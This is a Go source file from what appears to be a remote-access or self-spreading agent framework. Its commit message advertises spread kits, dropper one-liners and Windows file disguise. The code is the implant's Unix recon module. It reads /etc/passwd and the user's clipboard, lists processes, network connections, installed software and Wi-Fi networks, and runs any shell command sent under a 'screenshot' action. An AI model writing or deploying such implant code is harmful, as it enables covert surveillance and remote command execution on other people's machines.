Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
54 lines
1.7 KiB
Go
54 lines
1.7 KiB
Go
//go:build !windows
|
|
|
|
package client
|
|
|
|
import (
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
|
var out []byte
|
|
var err error
|
|
switch action {
|
|
case "ps":
|
|
out, err = exec.Command("ps", "aux").CombinedOutput()
|
|
case "netstat":
|
|
out, err = exec.Command("ss", "-tunap").CombinedOutput()
|
|
if err != nil {
|
|
out, err = exec.Command("netstat", "-an").CombinedOutput()
|
|
}
|
|
case "users":
|
|
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
|
|
case "software":
|
|
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
|
|
case "screenshot":
|
|
if command != "" {
|
|
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
} else {
|
|
return true, false, "screenshot not supported on this platform without custom command"
|
|
}
|
|
case "sysinfo":
|
|
out, err = exec.Command("uname", "-a").CombinedOutput()
|
|
case "ipconfig":
|
|
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
|
|
case "clipboard":
|
|
out, err = exec.Command("pbpaste").CombinedOutput()
|
|
if err != nil {
|
|
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
|
|
}
|
|
if err == nil {
|
|
return true, true, strings.TrimSpace(string(out))
|
|
}
|
|
return true, false, "clipboard read unsupported on this host"
|
|
case "wifi":
|
|
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
|
|
default:
|
|
return false, false, ""
|
|
}
|
|
if err != nil {
|
|
return true, false, formatCmdErr(err, out)
|
|
}
|
|
return true, true, string(out)
|
|
}
|